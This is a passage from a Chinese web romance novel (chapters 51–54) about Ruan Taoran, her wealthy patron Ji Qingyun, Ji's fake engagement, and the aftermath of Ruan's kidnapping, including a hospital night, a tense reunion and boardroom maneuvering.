得到了万星春的回答之后,她撸了撸袖子就去搬下一个箱子,积极得很,眼睛里一点嫌弃都没有。 “你还挺开心的。”万星春唇角忍不住扬了扬,拿了湿纸巾递给阮陶然擦灰。 “往年的资料里面肯定有不少优秀案例,这也是个好的学习机会啊。”阮陶然笑眯眯说道。 干点活怎么了,她又不是十指不沾阳春水的大小姐,搬两个箱子又不会累死。 刚拆开第一个箱子,阮陶然的手机就响了一下。 若是别的,她就不看了,响的是特别关心,纪青云的消息。 [明早九点来奥克兰的航班,找韩悦送你到机场。] 阮陶然愣了一下,才明白过来,这句话的意思是让她明天去奥克兰。 [我要上班。]阮陶然回复道。 消息刚刚过去,就接到两个字——[请假]。 从字里能看出来,很果断的语气,没有商量的余地。 纪总这是……阮陶然眼睛一眯,瞬间想明白了,纪总知道她相亲了。 解决了刘宇鸣之后,纪总还不满意,所以要把她拎到眼前去。 阮陶然指尖顿了顿,她借纪青云的势的时候,没想过纪青云如此雷厉风行,后果好像也有点严重。 屏幕上又跳出来两个字——[不行?] 是个问句,但明显不是个问句,阮陶然隔着屏幕能想象出来纪青云说这句话的语气,威严里透着冷。 她严重怀疑,她要是说不行,纪青云能砸了Seraphine,然后说,现在没班上了,行了。 [行行行,当然行,我是高兴愣住了。]阮陶然连忙回消息。 [不用麻烦韩悦了,航班号发我,我自己去。]在后面还跟了个大大的笑脸。 表明她不是被迫的,是真的很想见到姐姐。 [私人飞机,没有航班号,到时候韩悦送你。]纪青云的回复又是很简单。 [那我带几天的衣服?]阮陶然想试着打探一下。 [不用带,买新的。] 阮陶然:“……”所以要请几天的假? 霸总,是真的不知道打工人要打假条的苦逼啊。 万星春正在整理册子,见阮陶然没有动作,一直在回消息,抬头问了句:“然然,怎么了?有事?” “对……那个……”阮陶然说话都有点不好意思了,“我能不能请个假?” 刚才说自己时间很多,分分钟就变了,阮陶然都觉得有点尴尬。 “你有事就去办,请多久?一天?你办完事直接回家,今天不用来上班了。”万星春很爽快。 阮陶然顿了一下,试探着问道:“要不,先请三天的?” 三天够不够也不知道啊,她也不敢问纪青云了,总觉得纪青云的文字里透着低气压。 50-60 第51章 第 51 章 好亲昵的称呼 “叮叮叮——”是手机铃声响起的声音。 阮陶然下意识往自己口袋里摸去, 却一把摸空了。 她这才想起来,在车上的时候,手机被人夺走, 不知道丢到哪里去了。 午夜的医院,依旧是人来人往, 一股幽幽的消毒水的味道,灯光一片炙白,打在白色的墙面上有些晃眼。 CT室的电动门打开, 阮陶然赶忙站了起来, 走进去扶着唐逸卿站起来。 “没关系的, 就是小伤。”唐逸卿倒是很豁达开朗, 伸手压了压阮陶然的眉心, “别皱着眉了, 笑一笑。” 迎着她灿烂的笑容, 阮陶然无奈地叹了口气, 然后强行压着唇角扬起,露出了个强挤出来的笑容。 “我真笑不出来。”阮陶然投降了。 “这有什么好笑不出来的?” “我们俩都好好的,我还把你从坏人手里救出来了, 一路狂飙逃亡,多浪漫啊。” 唐逸卿明显是比较西方外向的表达, 为人也是乐天派,比阮陶然这个随遇而安的人,更能轻松接受现实。 护士推了轮椅过来:“CT要三个小时出结果。” “坐轮椅啊?”唐逸卿连忙摆手, “没事没事, 我走回去就行。” “不行,你这是对自己不负责任。”阮陶然接过来轮椅,语气坚决, “腿上有没有骨裂都不一定,我推你回去。” 唐逸卿本来还想说什么,看见那双圆溜溜气鼓鼓的眸子,一下子破功笑出来:“好好好,都听你的。” 除了腿上不知道在哪儿撞了一下的伤口,唐逸卿手臂上还被划了长长的一道。 想起来,应该是在那间废弃仓库里面,和孙绍祖动手的时候,被铁架子划到的。 阮陶然看着那抹血色,忍不住轻声道:“下次报警就好了,别自己冲进来。” “我这不是……”唐逸卿思考了一下,用出来一个恰当的成语,“英雄救美吗?” “我都英雄救美了,小美人别愁眉苦脸的,笑一笑嘛。” 阮陶然无奈叹了口气,好似在这人的世界里,没什么是笑一笑过不去的。 如果有,那就是——打针。 手臂上的伤口还带着铁锈,必然要打这一针破伤风的。 虽然唐逸卿在强装镇定,阮陶然还是敏锐从她绷紧了的肩膀看出来,这人在害怕。 护士还在配药,就明显看出来,她的脸色都有些微微发白了。 眼看着针头逼近,唐逸卿忍不住抿了抿唇。 然后忽然觉得眼睛上微微一暖,被一只手盖住了。 阮陶然轻声道:“害怕就别看了,怕打针又不是什么见不得人的事情。” “怕打针一点都不勇敢……嘶……”在针头刺入的瞬间,明显能感觉到,她身体微微紧绷了一下。 阮陶然忍不住轻轻笑了笑,从一开始见到唐逸卿,她就英姿飒爽的样子,还没见过她这样的一面。 听得她的笑声,唐逸卿也笑了出来:“算了,换来小汤圆一笑,也不算是出糗。” 伤口已经包扎好,破伤风针叶打好了,接下来就是等CT的结果。 唐逸卿伸手艰难翻包,阮陶然连忙伸手过去帮她拎住了包。 目光就落在那浅蓝色的水晶手链上。 唐逸卿炫耀一般,拿着手链晃了晃:“你看,我保存得很好。” “那个时候我第一次回国,一点中文都不会讲,他们围着我叽里呱啦,把我急得不得了。” “还好有你,你当时用西语跟我讲,我们要做一辈子的好朋友的。” “也真是有缘分,我们今天居然能遇见。” 唐逸卿真的是很开心,眉飞色舞地讲着当年的事情。 讲着讲着,就听到她肚子咕噜一声。 阮陶然轻轻一笑,站起身来:“外面有自动售卖机,我帮你买点吃的吧。” 她刚走出去一步,想起来一个很关键的问题:“我手机丢了……” “用我的。”唐逸卿把自己手机递了过来,飞速地报了解锁密码,“支付密码也是这个。” 唐逸卿倒是对她一点都没有防备,手机这样隐私的物品,说给就给了。 哐当一声,购买的面包落了下来,阮陶然俯身去物品框里面拿。 “阮小姐。”背后却忽然有人有些惊讶地喊了她一声。 阮陶然转头,看到医疗口罩上面,一双略带着红血丝的眸子。 她犹豫了一下,对面的人把口罩取下来了:“阮小姐是身体不舒服吗?” “顾医生。”阮陶然认出来了眼前的人,“我没事,是……” 她还没来记得说,就听得顾寄欢手里的手机猛地震动起来。 顾寄欢接起来电话:“我还在医院。” “小唐,你先处理,我现在马上过去。” 顾寄欢转头就准备走,忽然见到面前递过来个东西,是一罐可乐。 “你怎么知道我要买这个?”顾寄欢接过来,“谢了。”来不及和阮陶然说什么,风一般地就离开了。 顾寄欢紧急给病人上了ECMO,看着机器运转顺畅,松了口气,拉开拉环,喝了一口冰可乐。 手机上已经有三个未接来电。 她一边往办公室走,一边回了个电话。 “是不是等着急了?不好意思,刚接了个急诊,这边末期心衰病人突然恶化。” “我想着反正我还没走,就回来帮着一起处理了。” 对面语气平缓,一点都没有等待的不耐烦:“没有等很久,我在院长这边和她谈公事。” 顾寄欢笑着道:“好,我换了衣服就去院长办公室找你。” “对了。”顾寄欢语气顿了一下说道,“我刚在急诊那边,看到了阮小姐。” “纪总身体不舒服吗?”顾寄欢问道。 “我没接到消息。”陆时年继续说道,“你下班吧,这些事情不用你处理。” 如果是纪青云身体不舒服,肯定直接去VIP病区了,不会去急诊区排队。 是阮陶然身体不舒服,瞒着纪青云自己来的? 陆时年轻轻蹙眉想了想,最后还是深夜拨了纪青云的电话。 平常三个小时很快,但是深夜是人最困的时候,又没有手机,三个小时就慢得很。 今天又真的累了,阮陶然等着等着就困了,脑袋像是小鸡啄米一样。 唐逸卿笑了笑,凑近了些,压着她的脑袋,压在自己的肩膀上。 阮陶然一下子就醒了,赶忙坐直了:“你小心点,不要碰到伤口了。” “没事的。”唐逸卿说道,“困了就靠着我睡一会儿,辛苦你陪我一起等。” “我不困。”阮陶然一脸义正词严,揉了揉自己的眼睛。 但是这样的清醒只维持了十分钟,脑袋就又耷拉下来,最后还是,轻轻落在了唐逸卿的肩膀上。 唐逸卿眉眼弯了弯,轻声喊了喊身边的一个病人家属:“小姐姐,可以帮个忙吗?” 她长得好看,语气和善又有礼貌,没有人会拒绝大美人的帮忙请求。 唐逸卿的皮衣外套轻轻搭在了阮陶然的肩膀上。 明明是短款的小外套,但阮陶然小小的一只,足够把她整个人都笼罩住。 纪青云接到陆时年电话的时候,正在陪傅长宁的父母看风景。 老两口本来是江城人,小时候就离开了江城去了宝岛,到现在都没有回来过,看着江城的变化,怎么都觉得新鲜。 在江边慢慢走着,也是一路走一路聊小时候的事情。 纪青云和傅长宁就落后几步,跟在老两口身后面。 夜风微微有些冷,傅长宁的西装外套搭在纪青云的肩膀上,两个人保持着半步的距离,慢慢走着,相对无言。 是傅长宁先开了口:“这两天麻烦你陪我爸妈,你辛苦了。” “应该的。”纪青云淡淡说道,“这是我们约定的一部分。” “说来我也不理解你爷爷的想法,你应该是他最好的选择,我从未见过你这么出色的女孩。” “青云,说实在的……经过这段时间的相处……” 他似乎是微微看了看纪青云的神色,才继续说下去:“我觉得,我们……” 陆时年的电话就是在这个时候打进来的。 纪青云垂眸说了声抱歉,走到旁边接了电话。 傅长宁无奈轻轻笑了笑。 他看到了来电提醒,也知道陆时年是谁,他也习惯了纪青云是个工作狂。 纪青云很好,什么都很好,从外貌到身家到能力再到性格,都是很完美的傅太太的人选。 虽然本身是个工作狂,但愿意拿出时间和耐心来孝敬长辈。 也难怪他父母会对这个未来儿媳妇这么满意。 纪青云挂了电话之后的表情不是很好看,脱了傅长宁的外套递给他:“抱歉,我有事要先走。” 傅长宁蹙了蹙眉,轻声道:“这么晚,公司还有什么事情吗?” “不是,一点私事。”纪青云也不等傅长宁的回应,快走两步,“伯父伯母……” 她是很有家教的,现在离开,自然是要跟长辈告罪。 傅长宁望着她快步离开的背影,目光有些定定的。 他手里拿着的西装外套上,还染着一股幽冷的女士香的味道。 “你这小子。”傅母拍了拍他的肩膀,“看愣住了?” “没,没有。”傅长宁醒过神来,连忙道,“抱歉,爸妈,青云她就是这个性格,有时候忙起来就什么都顾不上。” “我们没有怪她,对她很满意。”傅母笑着说道,“青云是个好女孩儿,以后在事业上也能帮衬你。” “就是……”傅母语音拖长了些,说道,“你什么时候让我喝媳妇茶啊?” 傅长宁眸子沉了沉,缓缓说道:“嗯,希望很快。” 医院里24小时灯火通明,不分昼夜,只有来往的人匆匆的脚步。 纪青云踩着细高跟,但是走得很稳很快,顺着地标就找到了陆时年说的——急诊室。 然后,在看到远处的一幕的时候,脚步微微顿住。 那个金发碧眼,容色明媚的女人,略微转头,看着靠在她肩膀上的阮陶然,唇角扬起,眸子柔和。 阮陶然睡得正沉,她肩膀上的皮衣很明显不是她自己的。 高跟鞋的声音停在唐逸卿面前。 唐逸卿下意识抬头看过来,眸子定了定,轻声道:“纪总,您怎么来了?” 她当然认得纪青云,她母亲是金融学教授,也是当年纪青云的硕士生导师。 唐逸卿继续说道:“你可千万别告诉我妈,不然她要从西班牙飞来抓我了。” 她以为纪青云是收到了消息,来关心她。 但说完这句话就觉得似乎不对劲,因为纪青云的目光似乎不是看着她,而是看着她身边的阮陶然。 唐逸卿眉梢一扬,露出个灿烂的笑容:“纪总也认识小汤圆啊?” 她连忙改口:“哦,我是说阮小姐。” 小汤圆……纪青云垂在身侧的指尖微微一紧,好亲昵的称呼。 第52章 第 52 章 阮陶然根本不喜欢她?…… 阮陶然睡得并不好, 迷迷糊糊被唐逸卿叫起来的时候,脑子里懵懵的疼。 “是CT出结果了吗?”她直起身子,下意识问道。 “怎么把衣服给我穿了……”她把身上的衣服取下来, 本来是想要披到唐逸卿身上的,一抬头就看到了纪青云。 手忍不住抖了一下, 睫羽微微轻颤,有些不敢看纪青云的眼睛。 “我和小陆总打过招呼,会给我们开绿色通道加急。”纪青云淡淡说道, “跟我来。” 阮陶然不知道唐逸卿和纪青云刚才都说了什么。 莫名有种, 出轨被当场抓包的心虚感。 但看着纪青云的背影, 阮陶然微微抿了抿唇, 她干什么心虚啊, 人家都有婚约了, 人家都不心虚。 阮陶然推着轮椅往前走着, 三个人都没讲话, 微微有些沉默。 腿上的伤势并没有伤到骨头,只是表面上看起来一片青紫,比较可怕。 脚腕上的扭伤依旧有些严重, 医生特意交代了,这段时间要多多休息。 于是, 对于唐逸卿想要骑摩托车回家的提议,阮陶然立马制止了,这人也是真的不把自己的身体当回事。 “我送你回去。”阮陶然的态度很坚决。 “哪有这么严重……”唐逸卿嘀嘀咕咕, “平时经常磕磕碰碰, 我皮厚,没事的。” “说了不行,就是不行, 摩托车就先放在医院,过两天再来骑回去,也不怕丢。” “把衣服穿上,外面有些冷。”说着,阮陶然就要给她披衣服。 一直在旁边沉默的纪青云,忽然伸手过来,拦住了阮陶然,一把就攥住了她的手腕。 阮陶然怔了一下,她知道纪青云有很强的占有欲,此刻肯定是不开心了。 若是以往,她肯定会笑吟吟地顺着纪总的心思往下走。 但她忍不住想到那个婚约,忍不住心里憋着一口气。 她没说话,只是手腕用力,想要把手拽出来。 纪青云不肯放,两个人就这么僵持着,阮陶然抿紧了唇,一声都不吭。 唐逸卿急得从轮椅上站起来了:“小汤圆,你小心点,你手腕上还有伤,疼不疼?” 听得这句话,纪青云下意识松开了手。 唐逸卿撸起来阮陶然的袖子,仔仔细细,认认真真看了好几遍。 语气着急地叮嘱道:“明天可能会肿起来,你回去记得自己擦药。” “没事。”阮陶然轻轻把袖子拉下来,遮住了。 虽然如此,纪青云还是看清楚了。 纤细白皙的手腕上,一圈淤痕,还有擦伤的红色痕迹。 纪青云的指尖忍不住微微一紧,她刚才那么攥上去的时候,应该是很疼的吧,可她怎么一句话都不说? 纪青云没说话,过去站在轮椅后面,抢了推轮椅的活儿,道:“还是住家属院吗?我的车在外面。” “是。”唐逸卿点了点头,笑着说道,“麻烦纪总。” 对于去家属院的路,纪青云还是比较熟悉的。 唐逸卿母亲回国的时候,她作为学生,去做过客,来来往往好几次。 江城大学家属院是个旧小区,没有电梯,唐家住在三楼。 老教授的习惯,还是喜欢这种充满书香味道的生活环境,这些年来都没有搬家。 阮陶然很自然地,走过去,拉着唐逸卿的胳膊扶在了自己的肩头,借力扶着唐逸卿慢慢走上去。 按了门铃,里面的门打开,是个白发的老者,肩上披了件灰色的线衫,戴着一副无框眼镜,满身的书卷气。 见到眼前的场景,怔了一下,赶忙过来扶唐逸卿。 “这又是怎么了?骑车又摔了?” “就该听你妈妈的,把你的摩托车没收了。” 他虽然一边教训着唐逸卿,一边还是记得回头招呼阮陶然:“你是卿卿的朋友吧,进来坐,进来坐。” “很晚了,不打扰唐老师休息了。”阮陶然连忙说道。 “没事,老头精神着呢。”唐逸卿抬手招呼她,“正好,问问老头,今天的事情,能不能起诉那混蛋。” “没大没小。”唐智这么说着,却还是给唐逸卿倒了杯水,送到了手边上。 跟阮陶然说:“抱歉了,家教不严,见笑了。” 阮陶然的唇角扬了扬,道:“没有。” 这不是家教不严,而是家庭幸福,所以唐逸卿回来就随意瘫在沙发上,一口一个老头“言语不敬”。 唐智说道:“刚才卿卿说的,你是遇到了什么麻烦?有我可以帮上忙的吗?” “没关系,进来坐,我已经退休了,明天没有课要上。” “卿卿从国外回来的时间不久,我很少听说她有什么朋友。” “这段时间烦劳你照顾她了。” 按照他在江城的江湖地位,不必要对阮陶然一个小孩子这么客气。 请他咨询法律问题的人,能绕江城一圈,从来没有他上赶着要帮忙的道理。 他如此看重阮陶然,是因为她是唐逸卿的朋友。 掌上明珠的朋友,总是要多几分重视的。 “对啊对啊,小汤圆,别跟他客气。”唐逸卿继续说道,“来坐。” 如此盛情邀约,继续推辞就不礼貌了,阮陶然只好说道:“麻烦唐老师了。” “不必叫唐老师这么客气,叫叔叔就好。” 阮陶然走进来,唐智也一下子看到了跟在阮陶然身后的人。 纪青云在他面前也多了几分恭敬,道:“唐老师。” “是青云啊。”唐智笑起来,“我这里少有这么热闹,快进快进。” 纪青云轻车熟路地主动起身去厨房准备茶水,阮陶然思忖了一下措辞,就开始讲今天的事情。 被绑架,虎口脱险,险些遭遇不测……纪青云听得眸色越来越深。 把盛了温水的水杯放到阮陶然的手心里的时候,她察觉到阮陶然的手都是湿冷的。 想起来这样的事情可能都是后怕的。 她眸色顿了一下,把手掌压在了阮陶然的手背上,轻轻握住。 纪青云的手是温暖的,暖得阮陶然心里微微一颤,说话的声音都微微顿住。 唐逸卿还以为她在害怕,连忙伸手搂住了阮陶然的肩膀,轻轻摩挲了一下,轻声道:“好了好了,不怕了。” 说罢,还威胁了一番:“老头,这事就交给你了,我得看着那小子进去吃牢饭。” “好好好,我知道了。”唐智有些无奈。 他老来得女,也只有一女,平日都当做宝贝一样捧着,捧得有些无法无天的。 “唐老师要是放心的话,可以直接委托给纪氏的律师团队,您作为顾问指导就好,不必多费心。”纪青云缓缓说道。 “我当然是放心的,我就怕这丫头说我不出力。”唐智看了一眼唐逸卿。 “那是,有我盯着,你必须尽心尽力。”唐逸卿一副理所应当的样子。 唐逸卿这么坚持,倒是惹得阮陶然有些不好意思。 平日里放到唐智这样的大佬面前的案子,都是疑难杂案,惊天大案,她一个小小绑架的案子,着实受宠若惊。 连忙说道:“唐叔叔做顾问我已经觉得很打扰了,交给纪总,我也放心……” “瞧瞧人家多懂事。”唐智说着,却是伸手拉了个小板凳,放在唐逸卿脚边。 唐逸卿的脚扭伤了,刚才的姿势怎么都不舒服,这下子把腿架上去,瞬间舒服多了。 重要的事情解决了,深夜也不好继续打扰,阮陶然和纪青云就赶忙告辞了。 唐逸卿说道:“拜托纪总了,晚上不安全,一定要把小汤圆安全送回家。” “不劳唐小姐费心。”纪青云语气有些微淡。 她带着阮陶然回家,本来就是她们之间的事情,倒是让唐逸卿这个外人拜托…… “卿卿,你放心,我和纪总本来就是好朋友,她会把我安全送回家的。”阮陶然笑着说了一句,也是让唐逸卿放心。 防盗门关上,楼道里的声控灯也亮了起来,两个人并肩顺着楼梯往下走。 老旧小区的楼梯道不算是宽,两个人的胳膊几乎都碰触到了一起。 到了转角的位置,纪青云忽然一把就攥住了阮陶然的小臂。 两个人的步子都停下来。 纪青云盯着阮陶然的眼睛,就这么静静看着。 声控灯的时间到了,咔吧一声灭了,周围陷入一片漆黑之中。 手臂上的力道微微一沉,阮陶然顺着力度,整个后背就抵在了墙壁之上。 纪青云垂眸看着她,然后伸手取下来自己的金丝眼镜,单手折起来,随手放在衣袋里。 她还未来得及说什么,迎面而来的幽冷气息一下子把她包裹住。 浓烈的吻,落在她的唇上,舌尖启开她的唇瓣,一寸一寸扫进来,似乎要把她整个人都吞吃进去的猛烈和缠绵。 阮陶然的后脑抵在墙壁上,手臂被纪青云牢牢压住。 她并没有反抗,本能地微微仰起头来,迎合了这个猛烈缠绵的吻。 这个吻有些长,长到阮陶然觉得自己微微有些呼吸不畅,喉咙之间溢出来微微滚动的气音。 黑暗之中,只有两个人的气息相互融合,阮陶然靠在墙上,微微喘息,平缓自己的呼吸。 纪青云的指尖停留在她的脸颊上,最后抚摸覆盖上她的脸,沉声说道:“为什么跟唐逸卿说我们是好朋友?” “阮陶然,我们只是好朋友吗?” “需要让她来拜托我送你回家吗?” 阮陶然抿了抿唇,轻声道:“我们对外的关系,就只能是好朋友……” “姐姐,你身上有婚约,不能有任何的绯闻。” 她语气很淡,不吵不闹,只是在论述正常的事情。 甚至说完,她还勾住纪青云的脖颈,在她的唇上轻轻亲了一下,轻声道:“好了,我们回家吧。” 纪青云是金主,给钱给住处给权势,阮陶然心里知道,她不该闹的。 刚才在医院和纪青云较劲,已经是很不对了,很不该。 阮陶然站稳了身子,转身一步踏出去,楼梯间的声控灯亮起来,她率先顺着楼梯往下走。 纪青云伸手拽住了她的胳膊,语气微微有些沉:“阮陶然,你真的不在意我的婚约吗?” 似乎是气氛僵持了一瞬间,阮陶然转过头来,眼睛亮晶晶的,一如既往,露出来个灿烂的笑容。 “我知道姐姐有自己的苦衷,我当然不想要让你为难啊。” “在我心里姐姐最重要,所以我不会给你带来麻烦,不会让你难做。” 一如既往,阮陶然很符合自己人设的话术,乖巧温顺懂事,善解人意不矫情。 可纪青云的心却一下子被这个笑击入了谷底。 她会为了唐逸卿的事情发疯,但阮陶然却对她的婚约无动于衷。 有没有一种可能……阮陶然根本不喜欢她? 这个答案已出现,就被纪青云迅速否决了,怎么可能?阮陶然从小……就对她情根深种的。 第53章 第 53 章 很像是在无能地发脾气 两个人就这么牵着手下了楼, 上了车,一如既往一般亲昵,没有什么不同。 车里有些沉默, 已经是后半夜,淅淅沥沥下起雨来, 路上几乎没有车。 望着窗外,只有孤寂的路灯亮着。 纪青云睫羽压了压,心里的想法滚了几圈。 想要开口问一问阮陶然和唐逸卿到底是什么关系的时候, 她的手机震了两下。 傅长宁:[你那边事情都处理好了吗?我爸妈怪我不够关心你呢。] 纪青云没想到他这个时候还没睡, 礼貌回了一句:[处理好了, 私事。] 她回谁的消息都是这样, 言简意赅, 情绪冷淡。 消息刚刚发出去, 傅长宁的电话就打过来了。 铃响了有十几秒, 纪青云的眸子微微沉了沉, 最后还是出于礼节性的习惯接起来了。 傅长宁的语气温和有礼:“我看你还没睡,就打电话过来了,这样会不会太冒昧?” “不会。”纪青云淡淡道, “今天把你们半路抛下,是我应该说一声对不起。” “帮我跟伯父伯母道个歉, 这两天他们有时间的话,我请他们吃饭,当面赔不是。” “没关系, 没关系。”傅长宁连忙说道, “他们没有不高兴,他们觉得你很有事业心,更喜欢你了。” “我们傅家的观念并不传统, 也不觉得女性一定要生儿育女照顾家庭。” “我爸妈想要的傅太太是能够杀伐果决的女强人,以后我们相互支持,才能做出来更大的成就。” “这是我爸妈的意思,当然,我也是。”他语气顿了一下,极为委婉地表达了自己的意思。 “我家里对你也很满意,希望我们在未来一年的时间里合作愉快,到时候也能体面分手。”纪青云语气淡漠。 她当然听得出傅长宁话里的意思,她只觉得有些微微烦躁。 从一开始就和傅长宁说好的,在彼此家人面前演戏就好。 但他现在,明显是想要越界了。 傅长宁似乎早已习惯了她这样的说话方式,并不觉得受挫:“青云,你大概不了解我。” “我同那些同龄人不一样,没有乱七八糟的绯闻,也没有什么不良嗜好……” “傅先生,好了,就先这样。”纪青云打断了他自我推销的话。 傅长宁的语气顿了一下,他也察觉到了纪青云的不耐烦。 但他没有恼,他只是说道:“我父母明晚上有空,可以一起吃饭。” 纪青云明显感觉到有些不舒服,这个虚假婚约,有些隐隐不受控。 但说了请客吃饭的是她自己,傅家父母都在江城,总不能这样闹僵。 纪青云的眉心微微蹙了蹙,最后还是点了头:“好,那明晚见。” 纪青云挂了电话,车也刚好行驶到别墅门口停下。 阮陶然先下了车,纪青云快走了两步跟上去,缓缓道:“你不问吗?” “姐姐是说傅先生刚才的电话吗?”阮陶然一边输入密码,一边轻声道,“你们是假的,我知道。” 她率先走进去,换了鞋,然后就上楼去了。 她这句话在纪青云的耳朵边上绕了许久,尤其是洗澡的时候,一直在耳朵边上回响。 一个声音说:“她怎么可能真的就这么不在意?” 另一个声音说:“她知道是假的所以不在意,就是她所说的,她心里在意我,所以不想让我为难。” 心里百转千回,但到底夜深了,最后还是躺在床上睡了过去。 早上闹钟响的时候,脑子里还有些昏昏沉沉,迷迷糊糊打开床头的灯,手碰到床头的花,忍不住微微眯了眯眼睛。 花瓶里插着一束向日葵,只是已经脱水干枯了。 她房间里的花,多久没换过了? 纪青云拿着花瓶走出去,客厅里,管家正在布置今天的早餐。 一眼看到纪青云手里的花瓶,也意识到问题,连忙解释:“纪总,这花是阮小姐之前准备的。” “您说过您房间里的花不让我们碰,所以也就一直没换。” 纪青云蹙眉想了想,她好似真的说过这样的话。 只是把花瓶递给管家,冷声道:“处理了吧。” 管家能感觉到纪青云的低气压,接了花瓶小心说道:“这几天阮小姐可能也是太忙了。” “入了董事会,又要出去应酬各种活动,她肯定也是太忙了,所以忘了这样的小事。” “她入了董事会?”纪青云下意识问了一句。 然后想起来,昨天见到阮陶然的时候,她的确穿了一身白色的西装套裙,和她平日的装扮风格很是不同。 管家也愣了一下,他没想过纪青云居然不知道,小声道:“您……不知道吗?” “去准备早餐吧。”纪青云淡淡说了一句,结束了这个话题。 然后打开手机搜了搜相关的新闻,还有灵南集团的官方网站。 搜出来了前段时间阮如月大闹接风宴的丑闻,还有阮陶然入董事会,参加慈善活动的照片。 外面的阳光落进来,她脸上笑容温暖,握着一个小女孩儿的手,笑着画一朵向日葵。 浅棕色的发梢被阳光照得通透,一身的白衬得气质干净纯洁,一弯灿烂温暖的笑,简直是暖到了人的心里。 这张照片很好看,除了……虚化的背景里面,模模糊糊出现的唐逸卿的脸。 纪青云捏了捏眉心,她这段时间真的是又要应付家里,又要应付傅家,又要忙公司,忙晕了,忙得什么都不知道了。 她不知道阮陶然身上发生了这么多事,也不知道她什么时候认识了唐逸卿。 然后,连她床头的花,阮陶然都不记得要换新的了。 因为昨天晚上睡得晚,阮陶然今天早上起晚了。 急匆匆出来,从桌上拿了个三明治就要走:“姐姐,我时间赶不及了,我先走了。” 纪青云想了一早上的话,一句都没有问出口。 阮陶然身上没有高管的职务,晨会不必参加的,但她就是要赶今日的晨会。 在门口酝酿了一下情感,然后才推开了门。 讲话的人忽然一顿,所有人都朝着这边看过来。 阮峰笑着道:“然然怎么来了?” 阮陶然眼圈一红,却一副强装坚强的样子:“我来找各位叔叔伯伯问一问,是不是有人对我有意见?” “这怎么说?”阮峰现在就怕舆论说他欺负孤女,连忙一副关心的样子,“谁对你有意见了,告诉我。” “昨天活动结束之后,我刚闭眼了一会儿,司机和秘书就不见了。” “然后我就被拉到了一个废弃仓库里面去。” “要不是有人救我,今天说不定我都要上社会新闻头条了。” 阮陶然一句一句,说得委屈巴巴的。 最后话锋一转:“叔叔,您不是说,我身边的人都是您精挑细选的吗?” 这一句话,一下子就把阮峰架在了火上烤了。 其实,阮峰根本没有说过这句话。 但他现在,也总不能说,没有,我没说过,我没替你选人,没照顾过你。 周围董事的目光纷纷,阮峰眉头蹙了蹙,最后说道:“然然,这都是小事,等会议结束了,我们再谈好不好?” “叔叔觉得这样威胁到我生命安全的事情是小事吗?”阮陶然立马反驳回去。 然后环顾一圈,道:“算了,我知道大家也不欢迎我,我自己引咎辞职。” “别别别,阮小姐,这事我们一定好好查。” “对啊对啊,个别人的想法,你可别以偏概全,我们都是欢迎你的。” 阮如月大闹接风宴之后,因为舆情影响,灵南的股价一路下跌。 眼看着阮陶然到公司之后,舆论风向变了,有上涨的可能了,关系到这些人的钱包,他们当然着急。 最后又是杨雄拍板:“阮小姐,你别着急,这事我们一定给你一个交代。” “这样,我叮嘱公司的法务部门一定关注这件事,同时内部自查,查清楚到底是谁在动手脚。” 阮陶然连忙道:“谢谢杨伯伯,有您这句话,我就放心了。” “不过……”她话锋一转,“已经有纪氏的律师团队帮忙处理了,杨伯伯帮我盯着内部自查就好了。” “纪氏?”有几个人明显怔了一下。 江城哪有第二个纪,只有那个对他们来说,也算得上庞然大物的纪氏。 “对啊,我同纪青云纪总是好朋友,她听说了,就说帮我处理。” “对了,还有,江城大学的唐智教授已经接了我的案子。” “这方面就不用动用公司资源了。” “原来是纪氏啊……”杨雄的眸子顿了顿。 他可不觉得阮陶然能请得动法律圈的权威,只有可能,是纪青云出手了。 她们的关系,应该是不一般。 阮峰的眸子有些沉,他总觉得不是错觉,这丫头今天的每一句话,都在给他挖坑。 已经进了公司,接下来肯定就不能顺着阮峰的意思做个透明人了,否则一辈子都只是个花瓶。 阮陶然要向所有股东证明自己的价值,能够超过阮峰,或者是取而代之的价值。 纪青云的大旗很好用,只是这么扯了一下,一整天的时间,就有不少人旁敲侧击,问她和纪青云的交情。 阮陶然并不多说,只是含蓄表示,她们的关系还不错。 便有人开始人心浮动,暗中问阮陶然是不是能争取和纪氏的合作。 阮峰当然也终于回过来味,在走廊遇到阮陶然的时候,脸上再不见笑意,而有一种沉沉的审视。 阮陶然依旧是笑吟吟走上去,笑着打招呼:“叔叔。” “伸手不打笑脸人,更何况,叔叔也不想让外人议论,你真的对孤女并不好吧。” 阮峰彻底明白过来,他是真的看错了,以前觉得阮陶然乖乖巧巧,结果只是表面,内里都是黑的。 纪青云应付完傅家夫妇,回家的时候,又是接近于十二点了。 知道阮陶然今天回来住了,纪青云松了口气。 她犹豫了一会儿,从医药箱里翻出来抗生素软膏,然后走到了阮陶然的房间门口。 还未敲门,听得里面言笑晏晏的声音。 阮陶然在打电话,还很高兴的样子。 是和唐逸卿? 纪青云眉心一蹙,拧开把手,直接推开了门。 阮陶然只穿了件淡粉色的小背心,听到门响,下意识用手遮了一下。 见到是纪青云,松了口气。 跟电话对面说道:“晓晓,我这边有事,先挂了啊,有空再和你打电话。” 晓晓……不是唐逸卿…… 纪青云抿了抿唇,轻声道:“抱歉……” 她脑子里也有些乱,她不知道该怎么解释自己刚才咣当一下就打开门的举动。 很不符合她的人设,很没有礼貌,很像是在无能地发脾气。 第54章 第 54 章 走啦,翘班,带你去潇洒…… 纪青云眸色淡淡, 把手中的药膏递过去:“我来给你送药。” 好在拿了药过来,否则现在纪青云有些不知道该怎么下场。 气氛微微有些窘迫,她从未遇到过这样的情况, 她从来都是有话直说的性子…… 但,现在总不能让她说, 她因为怀疑通话对象,就失了方寸。 “谢谢姐姐。”阮陶然嘴角一扬,露出个灿烂的笑。 不过话锋一转:“我已经擦过药了。” “那天和逸卿去医院的时候, 逸卿请大夫帮我也开了药……” “我帮你擦药。”纪青云打断了阮陶然的话。 擦了一遍还要第二遍啊, 阮陶然眼睛眨了眨, 没有争执, 只是乖乖坐下了, 把手递到纪青云面前。 手腕上的擦伤还未能结痂, 红肿虽然消了一些, 但看上去依旧是狰狞可怕的样子。 纪青云的动作很轻, 棉签沾了药,擦上去的力道并不会弄疼阮陶然。 阮陶然转过头,静静地看着纪青云的侧颜。 金丝眼镜之后, 那双浅琉璃色的眸子显得格外认真凝重,睫羽动也不动地凝滞, 在眼睑下留下一片小小的阴影。 往日里波澜不惊的神情,仿佛有那么一丝丝的……紧张? 阮陶然心里刚有这个想法,迅速就否定了。 纪总是泰山崩于前不变色的稳重, 这一点小伤怎么可能会紧张? 果然, 再凝神去看的时候,那几分若有若无的紧张已经完全抓不住了。 